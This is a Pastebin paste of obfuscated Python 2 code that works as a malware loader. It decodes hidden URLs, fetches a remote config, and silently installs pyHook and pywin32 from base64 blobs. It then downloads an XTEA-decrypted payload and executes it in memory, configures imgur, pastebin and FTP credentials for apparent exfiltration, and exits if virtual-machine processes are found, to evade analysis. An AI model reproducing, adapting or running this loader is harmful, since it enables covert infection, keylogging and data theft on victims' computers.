Advertisement
Guest User

Untitled

a guest
Jan 25th, 2018
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.08 KB | None | 0 0
  1. from __future__ import print_function
  2. import os
  3. import sys
  4. import imp
  5. import json
  6. import struct
  7. import base64
  8. import urllib
  9.  
  10.  
  11. __DEBUG__ = False
  12.  
  13.  
  14. def main(*args, **kwargs):
  15.  
  16. def QuadraticFungalLegend(data, key):
  17. data = base64.b64decode(data)
  18. blocks = [data[i * 8:((i + 1) * 8)] for i in range(len(data) // 8)]
  19. vector = blocks[0]
  20. result = []
  21. for block in blocks[1:]:
  22. u,v = struct.unpack("!2L", block)
  23. k = struct.unpack("!4L", key)
  24. d,m = 0x9e3779b9L, 0xffffffffL
  25. sum = (d * 32) & m
  26. for _ in range(32):
  27. v = (v - (((u << 4 ^ u >> 5) + u) ^ (sum + k[sum >> 11 & 3]))) & m
  28. sum = (sum - d) & m
  29. u = (u - (((v << 4 ^ v >> 5) + v) ^ (sum + k[sum & 3]))) & m
  30. packed = struct.pack("!2L", u, v)
  31. output = "".join(chr(ord(x) ^ ord(y)) for x, y in zip(vector, packed))
  32. vector = block
  33. result.append(output)
  34. return ''.join(result).rstrip("\x00")
  35.  
  36. def CrystallineSluggishAnatomy(*args, **kwargs):
  37. IncontinentObtuseCucumber = lambda x: long(bytes(x).encode('hex'), 16)
  38. SomberUnbecomingAmusement = lambda x: bytes(bytearray.fromhex(hex(long('120950513014781697487772252820504293289885893009420441905241{}'.format(x))).strip('0x').strip('L')))
  39. RuthlessSpiffyTablecloth = lambda x: os.popen(' '.join([i for i in x])).read().rstrip() if type(x) is list else os.popen(x).read().rstrip()
  40. SeamlessGalacticSponges = lambda x: print(str(x)) if __DEBUG__ else ''
  41. AccidentalAquaticCat = json.loads(urllib.urlopen(SomberUnbecomingAmusement(kwargs.get('config'))).read()) if 'config' in kwargs else {}
  42. AccidentalAquaticCat['f'] = bytes(IncontinentObtuseCucumber(__file__))
  43. GroovySophisticatedLemur = os.popen('where pip').read().rstrip() if os.name is 'nt' else os.popen('which pip').read().rstrip()
  44. if not len(GroovySophisticatedLemur):
  45. exec urllib.urlopen("https://bootstrap.pypa.io/get-pip.py").read() in globals()
  46. return SomberUnbecomingAmusement(AccidentalAquaticCat.get('l'))
  47. else:
  48. try:
  49. os.chdir(os.path.expandvars('%TEMP%')) if os.name is 'nt' else os.chdir('/tmp')
  50. OrganicFecalOrigin = json.loads(urllib.urlopen(SomberUnbecomingAmusement(AccidentalAquaticCat['t'])).read()).get(os.name).get(str(struct.calcsize('P') * 8))
  51. for FoamyNonstopHistory, NobleRusticWalrus in OrganicFecalOrigin.items():
  52. if not len(RuthlessSpiffyTablecloth([GroovySophisticatedLemur, 'show', FoamyNonstopHistory])):
  53. RuthlessSpiffyTablecloth([GroovySophisticatedLemur, 'install', FoamyNonstopHistory])
  54. if not len(RuthlessSpiffyTablecloth([GroovySophisticatedLemur, 'show', FoamyNonstopHistory])):
  55. if 'pyHook' in FoamyNonstopHistory and 'pastebin' in NobleRusticWalrus:
  56. ZonkedEnthusiasticTadpole = 'pyHook-1.5.1-cp27-cp27m-win_amd64.whl'
  57. with file(ZonkedEnthusiasticTadpole, 'wb') as fp:
  58. fp.write(base64.b64decode(urllib.urlopen(NobleRusticWalrus).read()))
  59. RuthlessSpiffyTablecloth([GroovySophisticatedLemur, 'install', ZonkedEnthusiasticTadpole])
  60. if os.path.isfile(ZonkedEnthusiasticTadpole):
  61. os.remove(ZonkedEnthusiasticTadpole)
  62. elif 'pypiwin32' in FoamyNonstopHistory and 'pastebin' in NobleRusticWalrus:
  63. ZonkedEnthusiasticTadpole = 'pywin32-221-cp27-cp27m-win_amd64.whl'
  64. with file(ZonkedEnthusiasticTadpole, 'wb') as fp:
  65. fp.write(base64.b64decode(urllib.urlopen(NobleRusticWalrus).read()))
  66. RuthlessSpiffyTablecloth([GroovySophisticatedLemur, 'install', ZonkedEnthusiasticTadpole])
  67. SilkyPerilousManifesto = os.path.join(sys.prefix, os.path.join('Scripts', 'pywin32_postinstall.py'))
  68. if os.path.isfile(SilkyPerilousManifesto):
  69. RuthlessSpiffyTablecloth([SilkyPerilousManifesto, '-install'])
  70. if os.path.isfile(ZonkedEnthusiasticTadpole):
  71. os.remove(ZonkedEnthusiasticTadpole)
  72. else:
  73. try:
  74. RuthlessSpiffyTablecloth([GroovySophisticatedLemur, 'install', NobleRusticWalrus])
  75. except Exception as e:
  76. SeamlessGalacticSponges('Install error: {}'.format(str(e)))
  77. else:
  78. SeamlessGalacticSponges(FoamyNonstopHistory + ' loaded')
  79. else:
  80. SeamlessGalacticSponges(FoamyNonstopHistory + ' loaded')
  81. finally:
  82. try:
  83. QuarrelsomeImportedAtom = QuadraticFungalLegend(urllib.urlopen(SomberUnbecomingAmusement(AccidentalAquaticCat.get('u'))).read(), urllib.urlopen(SomberUnbecomingAmusement(AccidentalAquaticCat.get('z'))).read()) if 'z' in AccidentalAquaticCat else urllib.urlopen(SomberUnbecomingAmusement(AccidentalAquaticCat.get('u'))).read()
  84. ConspicuousImpossibleHologram = imp.new_module('ConspicuousImpossibleHologram')
  85. exec QuarrelsomeImportedAtom in ConspicuousImpossibleHologram.__dict__
  86. ConspicuousImpossibleHologram = ConspicuousImpossibleHologram.main(**kwargs)
  87.  
  88. if 'e' in kwargs:
  89. imgur_api_key = SomberUnbecomingAmusement(kwargs.get('e'))
  90. ConspicuousImpossibleHologram.configure('imgur', api_key=imgur_api_key)
  91.  
  92. if 'c' in kwargs:
  93. pastebin_api_key = SomberUnbecomingAmusement(kwargs.get('c'))
  94. ConspicuousImpossibleHologram.configure('pastebin', api_key=pastebin_api_key)
  95.  
  96. if 'd' in kwargs:
  97. pastebin_user_key = SomberUnbecomingAmusement(kwargs.get('d'))
  98. ConspicuousImpossibleHologram.configure('pastebin', user_key=pastebin_user_key)
  99.  
  100. if 'q' in kwargs and len(kwargs.get('q').split()) == 3:
  101. ftp_host = SomberUnbecomingAmusement(kwargs.get('q')).split()[0]
  102. ftp_user = SomberUnbecomingAmusement(kwargs.get('q')).split()[1]
  103. ftp_pass = SomberUnbecomingAmusement(kwargs.get('q')).split()[2]
  104. ConspicuousImpossibleHologram.configure('ftp', host=ftp_host)
  105. ConspicuousImpossibleHologram.configure('ftp', username=ftp_user)
  106. ConspicuousImpossibleHologram.configure('ftp', password=ftp_pass)
  107. return ConspicuousImpossibleHologram
  108. except Exception as e:
  109. if __DEBUG__:
  110. print("Configuration error: '{}'".format(str(e)))
  111.  
  112. try:
  113. s = 'tasklist' if os.name is 'nt' else 'ps'
  114. c = 0 if os.name is 'nt' else -1
  115. if 'checkvm' in kwargs:
  116. if bool([i.split()[c] for i in os.popen(s).read().splitlines()[2:] if i.split()[c].lower().split('.')[0] in ['xenservice', 'vboxservice', 'vboxtray', 'vmusrvc', 'vmsrvc', 'vmwareuser', 'vmwaretray', 'vmtoolsd', 'vmcompute', 'vmmem'] if 'checkvm' in args]):
  117. if __DEBUG__:
  118. print('aborting')
  119. sys.exit(0)
  120. if 'config' in kwargs:
  121. _ = CrystallineSluggishAnatomy(**kwargs)
  122. _.start()
  123. return _
  124. except Exception as e:
  125. if __DEBUG__:
  126. print("Run error: {}".format(str(e)))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement